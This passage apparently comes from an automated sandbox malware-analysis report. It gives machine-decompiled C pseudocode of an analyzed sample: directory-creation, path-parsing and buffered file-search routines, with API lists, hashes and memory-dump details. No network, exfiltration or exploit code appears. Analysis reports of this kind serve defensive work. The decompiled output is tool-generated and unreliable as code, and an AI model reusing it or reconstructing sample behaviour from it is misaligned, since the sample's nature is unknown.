0x00408596
0x00408599
0x00408599
0x0040859b
0x0040859d
0x004085a6
0x004085af
0x004085b3
0x004085bb
0x004085bf
0x004085c4
0x00000000
0x0040858c
0x0040858d
0x00000000
0x0040858d
0x0040858a
0x00408592
0x00000000
0x00408592

APIs

__EH_prolog.LIBCMT ref: 00408529

Strings

83B, xrefs: 0040881D
Unknown error, xrefs: 004087EA, 004087EF

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID: 83B$Unknown error
API String ID: 3519838083-1944086607
Opcode ID: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction ID: d43b38567734cbd3d280cef04a8de17ccbe463ec1fdb7709e9180388f705ec22
Opcode Fuzzy Hash: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction Fuzzy Hash: A5D17070900259EFCF05DFA4C944ADEBB74BF14318F20846EF845BB291CB78AA45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00408F0A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00408F0A(intOrPtr __ecx) {
				intOrPtr _t105;
				intOrPtr _t113;
				void* _t115;
				intOrPtr _t118;
				long _t123;
				intOrPtr* _t131;
				void* _t137;
				void* _t141;
				intOrPtr* _t151;
				signed int _t157;
				intOrPtr _t192;
				intOrPtr* _t196;
				long _t198;
				void* _t199;

				E00413954(E00419BC6, _t199);
				_t192 = __ecx;
				_t157 = 0;
				_push(0x90);
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(_t199 - 0x14)) = __ecx;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				_t105 = E00403A76();
				 *((intOrPtr*)(_t199 - 0x18)) = _t105;
				 *(_t199 - 4) = 0;
				if(_t105 == 0) {
					_t196 = 0;
					__eflags = 0;
				} else {
					_t196 = E00409184(_t105);
				}
				 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t199 - 0x10)) = _t196;
				if(_t196 != _t157) {
					 *((intOrPtr*)( *_t196 + 4))(_t196);
				}
				 *((intOrPtr*)(_t196 + 0x7c)) =  *((intOrPtr*)(_t199 + 0x1c));
				 *(_t199 - 4) = 1;
				 *(_t199 - 0x3c) = _t157;
				 *(_t199 - 0x38) = _t157;
				 *(_t199 - 0x34) = _t157;
				E00402170(_t199 - 0x3c, 3);
				 *(_t199 - 4) = 2;
				 *(_t199 - 0x24) = _t157;
				 *(_t199 - 0x20) = _t157;
				 *(_t199 - 0x1c) = _t157;
				E00402170(_t199 - 0x24, 3);
				 *(_t199 - 4) = 3;
				 *(_t199 - 0x30) = _t157;
				 *(_t199 - 0x2c) = _t157;
				 *(_t199 - 0x28) = _t157;
				E00402170(_t199 - 0x30, 3);
				 *(_t199 - 4) = 4;
				if( *((intOrPtr*)(_t199 + 0x14)) != _t157 ||  *((intOrPtr*)(_t199 + 0x10)) != _t157) {
					_t58 = _t196 + 8; // 0x8
					 *((intOrPtr*)( *((intOrPtr*)(_t196 + 8)) + 0xc))(_t58,  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x18)))));
					goto L13;
				} else {
					_push(_t199 + 0x1c);
					if(E00404E76( *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x18)))), _t199 - 0x3c) != 0) {
						_t137 = E00401E3A(_t199 - 0x3c, _t199 - 0x48,  *((intOrPtr*)(_t199 + 0x1c)));
						 *(_t199 - 4) = 5;
						E00401D7A(_t199 - 0x24, _t137);
						 *(_t199 - 4) = 4;
						E00403A9C( *((intOrPtr*)(_t199 - 0x48)));
						_t141 = E00401E19(_t199 - 0x3c, _t199 - 0x48,  *((intOrPtr*)(_t199 + 0x1c)));
						 *(_t199 - 4) = 6;
						E00401D7A(_t199 - 0x30, _t141);
						 *(_t199 - 4) = 4;
						E00403A9C( *((intOrPtr*)(_t199 - 0x48)));
						_push(_t199 - 0x30);
						_push(_t199 - 0x24);
						E004092E9(_t196, __eflags); // executed
						L13:
						_push( *((intOrPtr*)(_t199 - 0x10)));
						_push( *((intOrPtr*)(_t199 + 0x18)));
						_t62 = _t199 + 0x14; // 0x414be4
						_push( *_t62);
						_push( *((intOrPtr*)(_t199 + 0x10)));
						_push( *((intOrPtr*)(_t199 + 0xc)));
						_push( *((intOrPtr*)(_t199 + 8)));
						_t113 = E00408A3B(_t192); // executed
						__eflags = _t113 - _t157;
						 *((intOrPtr*)(_t199 + 0x18)) = _t113;
						if(_t113 == _t157) {
							_push(_t199 - 0x30);
							_t115 = E00402634(_t199 - 0x48, _t199 - 0x24);
							_t193 = _t192 + 0x14;
							_push(_t115);
							 *(_t199 - 4) = 7;
							E00403998(_t192 + 0x14);
							 *(_t199 - 4) = 4;
							E00403A9C( *((intOrPtr*)(_t199 - 0x48)));
							__eflags =  *((intOrPtr*)(_t196 + 0x70)) - _t157;
							if( *((intOrPtr*)(_t196 + 0x70)) > _t157) {
								do {
									_push( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x74)) + _t157 * 4)));
									_push(E00402634(_t199 - 0x48, _t199 - 0x24));
									 *(_t199 - 4) = 8;
									E00403998(_t193);
									 *(_t199 - 4) = 4;
									E00403A9C( *((intOrPtr*)(_t199 - 0x48)));
									_t157 = _t157 + 1;
									__eflags = _t157 -  *((intOrPtr*)(_t196 + 0x70));
								} while (_t157 <  *((intOrPtr*)(_t196 + 0x70)));
							}
							_t118 =  *((intOrPtr*)(_t199 - 0x14));
							 *((intOrPtr*)(_t118 + 0x28)) =  *((intOrPtr*)(_t196 + 0x88));
							 *((intOrPtr*)(_t118 + 0x2c)) =  *((intOrPtr*)(_t196 + 0x8c));
							E00403A9C( *(_t199 - 0x30));
							E00403A9C( *(_t199 - 0x24));
							E00403A9C( *(_t199 - 0x3c));
							 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
							E00403800(_t199 - 0x10);
							_t123 = 0;
							__eflags = 0;
						} else {
							E00403A9C( *(_t199 - 0x30));
							E00403A9C( *(_t199 - 0x24));
							E00403A9C( *(_t199 - 0x3c));
							_t131 =  *((intOrPtr*)(_t199 - 0x10));
							 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
							__eflags = _t131 - _t157;
							if(_t131 != _t157) {
								 *((intOrPtr*)( *_t131 + 8))(_t131);
							}
							_t123 =  *((intOrPtr*)(_t199 + 0x18));
						}
					} else {
						_t198 = GetLastError();
						E00403A9C( *(_t199 - 0x30));
						E00403A9C( *(_t199 - 0x24));
						E00403A9C( *(_t199 - 0x3c));
						_t151 =  *((intOrPtr*)(_t199 - 0x10));
						 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
						if(_t151 != _t157) {
							 *((intOrPtr*)( *_t151 + 8))(_t151);
						}
						_t123 = _t198;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t199 - 0xc));
				return _t123;
			}

0x00408f0f
0x00408f1a
0x00408f1c
0x00408f1e
0x00408f23
0x00408f26
0x00408f29
0x00408f2c
0x00408f32
0x00408f37
0x00408f3a
0x00408f47
0x00408f47
0x00408f3c
0x00408f43
0x00408f43
0x00408f49
0x00408f4f
0x00408f52
0x00408f57
0x00408f57
0x00408f5f
0x00408f65
0x00408f6c
0x00408f6f
0x00408f72
0x00408f75
0x00408f7f
0x00408f83
0x00408f86
0x00408f89
0x00408f8c
0x00408f96
0x00408f9a
0x00408f9d
0x00408fa0
0x00408fa3
0x00408fab
0x00408faf
0x00409079
0x0040907e
0x00000000
0x00408fbe
0x00408fc9
0x00408fd1
0x00409018
0x00409021
0x00409025
0x0040902d
0x00409031
0x00409041
0x0040904a
0x0040904e
0x00409056
0x0040905a
0x00409063
0x00409067
0x0040906a
0x00409081
0x00409081
0x00409086
0x00409089
0x00409089
0x0040908c
0x0040908f
0x00409092
0x00409095
0x0040909a
0x0040909c
0x0040909f
0x004090db
0x004090df
0x004090e4
0x004090e7
0x004090ea
0x004090ee
0x004090f6
0x004090fa
0x004090ff
0x00409103
0x00409105
0x0040910e
0x00409116
0x00409119
0x0040911d
0x00409125
0x00409129
0x0040912e
0x00409130
0x00409130
0x00409105
0x00409135
0x00409141
0x0040914a
0x0040914d
0x00409155
0x0040915d
0x00409162
0x0040916c
0x00409171
0x00409171
0x004090a1
0x004090a4
0x004090ac
0x004090b4
0x004090b9
0x004090bc
0x004090c3
0x004090c5
0x004090ca
0x004090ca
0x004090cd
0x004090cd
0x00408fd3
0x00408fdc
0x00408fde
0x00408fe6
0x00408fee
0x00408ff3
0x00408ff6
0x00408fff
0x00409004
0x00409004
0x00409007
0x00409007
0x00408fd1
0x00409179
0x00409181

APIs

__EH_prolog.LIBCMT ref: 00408F0F
GetLastError.KERNEL32(?,00000003,00000003,00000003,?,?,00000000), ref: 00408FD3

Part of subcall function 00409184: __EH_prolog.LIBCMT ref: 00409189

Part of subcall function 004092E9: __EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00408A3B: __EH_prolog.LIBCMT ref: 00408A40

Strings

KA, xrefs: 00409089

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID: KA
API String ID: 2901101390-4133974868
Opcode ID: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction ID: 1ffdda1e280707f1620b0bff2a1c5a648dc862d45b7bd7d33f28712355ced64d
Opcode Fuzzy Hash: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction Fuzzy Hash: 7C81677190020AABCF01EFA5C885ADEBBB5BF18318F14416EF455B32A2CB399A05CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004049DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E004049DD(void* __ecx) {
				signed int _t64;
				intOrPtr* _t70;
				intOrPtr* _t74;
				signed char _t75;
				long _t78;
				signed int _t80;
				signed char _t82;
				signed int _t87;
				intOrPtr* _t88;
				void* _t92;
				signed int _t96;
				signed int _t98;
				signed int _t102;
				signed int _t109;
				signed int _t116;
				intOrPtr _t123;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				void* _t132;
				signed int _t135;
				void* _t138;

				E00413954(E004195A0, _t138);
				E00401C80(_t138 - 0x18, __ecx);
				_t2 = _t138 - 0x14; // 0x414be4
				_t109 =  *_t2;
				 *(_t138 - 4) =  *(_t138 - 4) & 0x00000000;
				_t132 = 0x5c;
				if(_t109 == 0) {
					L13:
					E00401CE1(_t138 - 0x24, _t138 - 0x18);
					_t14 = _t138 - 0x14; // 0x414be4
					_t135 =  *_t14;
					 *(_t138 - 4) = 1;
					while(1) {
						L14:
						_t64 = E0040499C( *((intOrPtr*)(_t138 - 0x18))); // executed
						__eflags = _t64;
						if(_t64 != 0) {
							break;
						}
						_t78 = GetLastError();
						__eflags = _t78 - 0xb7;
						if(_t78 == 0xb7) {
							E00402EE1(_t138 - 0x40);
							_push( *((intOrPtr*)(_t138 - 0x18)));
							 *(_t138 - 4) = 2;
							_t80 = E00405841(_t138 - 0x68, _t128); // executed
							__eflags = _t80;
							if(_t80 != 0) {
								_t82 =  *(_t138 - 0x48) >> 4;
								__eflags = _t82 & 0x00000001;
								if((_t82 & 0x00000001) != 0) {
									 *(_t138 - 4) = 1;
									E00403A9C( *((intOrPtr*)(_t138 - 0x40)));
									break;
								} else {
									_t102 = 0;
									__eflags = 0;
									goto L31;
								}
							} else {
								_t102 = 1;
								L31:
								E00403A9C( *((intOrPtr*)(_t138 - 0x40)));
								E00403A9C( *((intOrPtr*)(_t138 - 0x24)));
								E00403A9C( *((intOrPtr*)(_t138 - 0x18)));
							}
						} else {
							_t17 = _t138 - 0x14; // 0x414be4
							_t87 =  *_t17;
							__eflags = _t87;
							if(_t87 == 0) {
								L44:
								_t102 = 0;
								__eflags = 0;
								L45:
								E00403A9C( *((intOrPtr*)(_t138 - 0x24)));
								_t129 =  *((intOrPtr*)(_t138 - 0x18));
								goto L46;
							} else {
								_t123 =  *((intOrPtr*)(_t138 - 0x18));
								_t88 = _t123 + _t87 * 2 - 2;
								while(1) {
									__eflags =  *_t88 - _t132;
									if( *_t88 == _t132) {
										break;
									}
									__eflags = _t88 - _t123;
									if(_t88 == _t123) {
										_t135 = _t135 | 0xffffffff;
										__eflags = _t135;
									} else {
										_t88 = _t88;
										continue;
									}
									L23:
									__eflags = _t135;
									if(__eflags < 0 || __eflags == 0) {
										goto L44;
									} else {
										__eflags =  *((short*)(_t123 + _t135 * 2 - 2)) - 0x3a;
										if( *((short*)(_t123 + _t135 * 2 - 2)) == 0x3a) {
											goto L44;
										} else {
											_t92 = E00401E3A(_t138 - 0x18, _t138 - 0x30, _t135);
											 *(_t138 - 4) = 3;
											E00401D7A(_t138 - 0x18, _t92);
											 *(_t138 - 4) = 1;
											E00403A9C( *((intOrPtr*)(_t138 - 0x30)));
											goto L14;
										}
									}
									goto L47;
								}
								_t135 = _t88 - _t123 >> 1;
								goto L23;
							}
						}
						goto L47;
					}
					E00401D7A(_t138 - 0x18, _t138 - 0x24);
					while(1) {
						L34:
						_t45 = _t138 - 0x14; // 0x414be4
						__eflags = _t135 -  *_t45;
						if(_t135 >=  *_t45) {
							break;
						}
						_t130 =  *((intOrPtr*)(_t138 - 0x18));
						_t70 = _t130 + 2 + _t135 * 2;
						while(1) {
							_t116 =  *_t70;
							__eflags = _t116 - _t132;
							if(_t116 == _t132) {
								break;
							}
							__eflags = _t116;
							if(_t116 == 0) {
								_t135 = _t135 | 0xffffffff;
								__eflags = _t135;
							} else {
								_t70 = _t70 + 2;
								continue;
							}
							L41:
							__eflags = _t135;
							if(_t135 < 0) {
								_t50 = _t138 - 0x14; // 0x414be4
								_t135 =  *_t50;
							}
							_t74 = E00401E3A(_t138 - 0x18, _t138 - 0x30, _t135);
							 *(_t138 - 4) = 4;
							_t75 = E0040499C( *_t74);
							 *(_t138 - 4) = 1;
							asm("sbb bl, bl");
							E00403A9C( *((intOrPtr*)(_t138 - 0x30)));
							__eflags =  ~_t75 + 1;
							if( ~_t75 + 1 == 0) {
								goto L34;
							} else {
								goto L44;
							}
							goto L45;
						}
						_t135 = _t70 - _t130 >> 1;
						goto L41;
					}
					_t102 = 1;
					goto L45;
				} else {
					_t128 =  *((intOrPtr*)(_t138 - 0x18));
					_t96 = _t128 + _t109 * 2 - 2;
					while( *_t96 != _t132) {
						if(_t96 == _t128) {
							_t98 = _t96 | 0xffffffff;
							__eflags = _t98;
						} else {
							_t96 = _t96;
							continue;
						}
						L7:
						__eflags = _t98;
						if(_t98 <= 0) {
							goto L13;
						} else {
							__eflags = _t98 - _t109 - 1;
							if(_t98 != _t109 - 1) {
								goto L13;
							} else {
								__eflags = _t109 - 3;
								if(_t109 != 3) {
									L12:
									E004023EE(_t138 - 0x18, _t98, 1);
									goto L13;
								} else {
									__eflags =  *((short*)(_t128 + 2)) - 0x3a;
									if( *((short*)(_t128 + 2)) != 0x3a) {
										goto L12;
									} else {
										_t102 = 1;
										L46:
										E00403A9C(_t129);
									}
								}
							}
						}
						goto L47;
					}
					_t98 = _t96 - _t128 >> 1;
					goto L7;
				}
				L47:
				 *[fs:0x0] =  *((intOrPtr*)(_t138 - 0xc));
				return _t102;
			}

0x004049e2
0x004049f1
0x004049f6
0x004049f6
0x004049f9
0x00404a01
0x00404a02
0x00404a4a
0x00404a51
0x00404a56
0x00404a56
0x00404a59
0x00404a5d
0x00404a5d
0x00404a60
0x00404a65
0x00404a67
0x00000000
0x00000000
0x00404a6d
0x00404a73
0x00404a78
0x00404aed
0x00404af2
0x00404af8
0x00404afc
0x00404b01
0x00404b03
0x00404b0c
0x00404b0f
0x00404b11
0x00404b38
0x00404b3c
0x00000000
0x00404b13
0x00404b13
0x00404b13
0x00000000
0x00404b13
0x00404b05
0x00404b05
0x00404b15
0x00404b18
0x00404b20
0x00404b28
0x00404b2d
0x00404a7a
0x00404a7a
0x00404a7a
0x00404a7d
0x00404a7f
0x00404bb2
0x00404bb2
0x00404bb2
0x00404bb4
0x00404bb7
0x00404bbc
0x00000000
0x00404a85
0x00404a85
0x00404a88
0x00404a8c
0x00404a8c
0x00404a8f
0x00000000
0x00000000
0x00404a91
0x00404a93
0x00404aa1
0x00404aa1
0x00404a95
0x00404a96
0x00000000
0x00404a96
0x00404aa4
0x00404aa4
0x00404aa6
0x00000000
0x00404ab2
0x00404ab2
0x00404ab8
0x00000000
0x00404abe
0x00404ac6
0x00404acf
0x00404ad3
0x00404ad8
0x00404adf
0x00000000
0x00404ae4
0x00404ab8
0x00000000
0x00404aa6
0x00404a9d
0x00000000
0x00404a9d
0x00404a7f
0x00000000
0x00404a78
0x00404b49
0x00404b4e
0x00404b4e
0x00404b4e
0x00404b4e
0x00404b51
0x00000000
0x00000000
0x00404b57
0x00404b5a
0x00404b5e
0x00404b5e
0x00404b61
0x00404b64
0x00000000
0x00000000
0x00404b66
0x00404b69
0x00404b77
0x00404b77
0x00404b6b
0x00404b6c
0x00000000
0x00404b6c
0x00404b7a
0x00404b7a
0x00404b7c
0x00404b7e
0x00404b7e
0x00404b7e
0x00404b89
0x00404b90
0x00404b94
0x00404b9b
0x00404ba4
0x00404ba8
0x00404bad
0x00404bb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404bb0
0x00404b73
0x00000000
0x00404b73
0x00404bd8
0x00000000
0x00404a04
0x00404a04
0x00404a07
0x00404a0b
0x00404a12
0x00404a1e
0x00404a1e
0x00404a14
0x00404a15
0x00000000
0x00404a15
0x00404a21
0x00404a21
0x00404a23
0x00000000
0x00404a25
0x00404a28
0x00404a2a
0x00000000
0x00404a2c
0x00404a2c
0x00404a2f
0x00404a3f
0x00404a45
0x00000000
0x00404a31
0x00404a31
0x00404a36
0x00000000
0x00404a38
0x00404a38
0x00404bc0
0x00404bc1
0x00404bc6
0x00404a36
0x00404a2f
0x00404a2a
0x00000000
0x00404a23
0x00404a1a
0x00000000
0x00404a1a
0x00404bc7
0x00404bcf
0x00404bd7

APIs

__EH_prolog.LIBCMT ref: 004049E2
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00404A6D

Strings

KA, xrefs: 004049F6, 00404A56, 00404B4E, 00404B7E, 00404A7A, 00404B84

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorH_prologLast
String ID: KA
API String ID: 1057991267-4133974868
Opcode ID: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction ID: ea88e0dbf276ed2b61ac96949af9a946984d9cda694903235269fb2a0f105987
Opcode Fuzzy Hash: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction Fuzzy Hash: 14512671A4010A9ACF10EBA0C945AFFBB74EF91318F14017BE601732D1D779AE46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00401AF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00401AF4(void* __ecx, intOrPtr __edx, void* __eflags) {
				signed char** _t64;
				char* _t67;
				void* _t71;
				signed int _t73;
				intOrPtr _t74;
				void* _t75;
				void* _t81;
				void* _t83;
				char _t84;
				signed int _t89;
				signed int _t91;
				void* _t92;
				signed int _t103;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t112;

				_t92 = __ecx;
				E00413954(E004190C8, _t110);
				E00413CC0(0x1024, __ecx);
				_t64 =  *(_t110 + 0xc);
				_t103 = 0;
				_t64[1] = 0;
				 *((intOrPtr*)(_t110 - 0x30)) = __edx;
				 *( *_t64) =  *( *_t64) & 0x00000000;
				 *(_t110 - 0x1c) =  *(_t110 - 0x1c) | 0xffffffff;
				 *(_t110 - 4) = 0;
				if(E00405B6D(_t92) != 0) {
					 *((intOrPtr*)(_t110 - 0x14)) = 0;
					if( *((char*)(__edx)) != 0) {
						do {
							 *((intOrPtr*)(_t110 - 0x14)) =  *((intOrPtr*)(_t110 - 0x14)) + 1;
						} while ( *((char*)( *((intOrPtr*)(_t110 - 0x14)) + __edx)) != 0);
					}
					_t67 =  *((intOrPtr*)(_t110 + 8));
					 *((intOrPtr*)(_t110 - 0x18)) = _t103;
					if( *_t67 != 0) {
						do {
							 *((intOrPtr*)(_t110 - 0x18)) =  *((intOrPtr*)(_t110 - 0x18)) + 1;
						} while ( *((char*)( *((intOrPtr*)(_t110 - 0x18)) + _t67)) != 0);
					}
					_t107 = 0;
					 *(_t110 - 0xd) =  *(_t110 - 0xd) & 0x00000000;
					 *((intOrPtr*)(_t110 - 0x24)) = _t103;
					 *((intOrPtr*)(_t110 - 0x20)) = _t103;
					while(1) {
						L8:
						_t71 = E00405BCA(_t110 - 0x1c, _t110 + _t107 - 0x1030, 0x1000 - _t107, _t110 - 0x28); // executed
						if(_t71 == 0) {
							break;
						}
						_t74 =  *((intOrPtr*)(_t110 - 0x28));
						if(_t74 == _t103) {
							L23:
							_t89 = 1;
						} else {
							_t109 = _t107 + _t74;
							_t91 = _t110 - 0x1030;
							while(1) {
								_t75 = _t109;
								if( *(_t110 - 0xd) != 0) {
								}
								L12:
								if(_t103 > _t75 -  *((intOrPtr*)(_t110 - 0x18))) {
									L20:
									_t107 = _t109 - _t103;
									 *((intOrPtr*)(_t110 - 0x24)) =  *((intOrPtr*)(_t110 - 0x24)) + _t103;
									asm("adc dword [ebp-0x20], 0x0");
									E00413980(_t110 - 0x1030, _t110 + _t103 - 0x1030, _t107);
									_t112 = _t112 + 0xc;
									if( *((intOrPtr*)(_t110 - 0x20)) > 0 ||  *((intOrPtr*)(_t110 - 0x24)) > 0x100000) {
										_t89 = _t91 & 0xffffff00 | ( *(_t110 + 0xc))[1] == 0x00000000;
									} else {
										_t103 = 0;
										goto L8;
									}
								} else {
									_t83 = E004134D0(_t91,  *((intOrPtr*)(_t110 + 8)),  *((intOrPtr*)(_t110 - 0x18)));
									_t112 = _t112 + 0xc;
									if(_t83 == 0) {
										goto L23;
									} else {
										_t84 =  *_t91;
										 *((char*)(_t110 - 0x2c)) = _t84;
										if(_t84 == 0) {
											goto L24;
										} else {
											E00401EE5( *(_t110 + 0xc),  *((intOrPtr*)(_t110 - 0x2c)));
											L16:
											_t103 = _t103 + 1;
											_t91 = _t91 + 1;
											while(1) {
												_t75 = _t109;
												if( *(_t110 - 0xd) != 0) {
												}
												goto L17;
											}
											goto L12;
										}
									}
								}
								goto L25;
								L17:
								_t39 = _t110 - 0x14; // 0x414be4
								if(_t103 > _t75 -  *_t39) {
									goto L20;
								} else {
									_t40 = _t110 - 0x14; // 0x414be4
									_t81 = E004134D0(_t91,  *((intOrPtr*)(_t110 - 0x30)),  *_t40);
									_t112 = _t112 + 0xc;
									if(_t81 != 0) {
										goto L16;
									} else {
										_t103 = _t103 +  *((intOrPtr*)(_t110 - 0x14));
										_t91 = _t91 +  *((intOrPtr*)(_t110 - 0x14));
										 *(_t110 - 0xd) = 1;
										continue;
									}
									goto L26;
								}
								goto L25;
							}
						}
						L25:
						 *(_t110 - 4) =  *(_t110 - 4) | 0xffffffff;
						E00405975(_t110 - 0x1c);
						_t73 = _t89;
						goto L26;
					}
					L24:
					_t89 = 0;
					goto L25;
				} else {
					 *(_t110 - 4) =  *(_t110 - 4) | 0xffffffff;
					E00405975(_t110 - 0x1c);
					_t73 = 0;
				}
				L26:
				 *[fs:0x0] =  *((intOrPtr*)(_t110 - 0xc));
				return _t73;
			}

0x00401af4
0x00401af9
0x00401b03
0x00401b08
0x00401b0d
0x00401b11
0x00401b16
0x00401b19
0x00401b1c
0x00401b24
0x00401b2e
0x00401b46
0x00401b49
0x00401b4b
0x00401b4b
0x00401b51
0x00401b4b
0x00401b57
0x00401b5a
0x00401b60
0x00401b62
0x00401b62
0x00401b68
0x00401b62
0x00401b6e
0x00401b70
0x00401b75
0x00401b78
0x00401b7f
0x00401b7f
0x00401b96
0x00401b9d
0x00000000
0x00000000
0x00401ba3
0x00401ba8
0x00401c56
0x00401c56
0x00401bae
0x00401bae
0x00401bb0
0x00401bb6
0x00401bba
0x00401bbc
0x00401bbc
0x00401bbe
0x00401bc3
0x00401c16
0x00401c16
0x00401c18
0x00401c2a
0x00401c2f
0x00401c34
0x00401c3b
0x00401c51
0x00401b7d
0x00401b7d
0x00000000
0x00401b7d
0x00401bc5
0x00401bcc
0x00401bd1
0x00401bd6
0x00000000
0x00401bd8
0x00401bd8
0x00401bdc
0x00401bdf
0x00000000
0x00401be1
0x00401be7
0x00401bec
0x00401bec
0x00401bed
0x00401bb6
0x00401bba
0x00401bbc
0x00401bbc
0x00000000
0x00401bbc
0x00000000
0x00401bb6
0x00401bdf
0x00401bd6
0x00000000
0x00401bf0
0x00401bf0
0x00401bf5
0x00000000
0x00401bf7
0x00401bf7
0x00401bfe
0x00401c03
0x00401c08
0x00000000
0x00401c0a
0x00401c0a
0x00401c0d
0x00401c10
0x00000000
0x00401c10
0x00000000
0x00401c08
0x00000000
0x00401bf5
0x00401bb6
0x00401c5c
0x00401c5c
0x00401c63
0x00401c68
0x00000000
0x00401c6a
0x00401c5a
0x00401c5a
0x00000000
0x00401b30
0x00401b30
0x00401b37
0x00401b3c
0x00401b3c
0x00401c6b
0x00401c70
0x00401c78

APIs

__EH_prolog.LIBCMT ref: 00401AF9

Strings

KA, xrefs: 00401B4E
KA, xrefs: 00401BF0, 00401BF7

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID: KA$KA
API String ID: 3519838083-594506476
Opcode ID: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction ID: 3866b3b7da3d7396f9922ec017f7e66c93d936b9f161a27d318f0a0663603341
Opcode Fuzzy Hash: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction Fuzzy Hash: 7451CF72D042199FDF11DFA4C940BEEBBB4AF05394F14416AE851732E2E3789E85CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00416CB8 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00416CB8(void* __esi, int _a4, intOrPtr _a8, char _a12) {
				intOrPtr _t9;
				intOrPtr* _t11;
				char _t16;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;
				void* _t32;

				_t24 = __esi;
				E00416D5D();
				_t23 = 1;
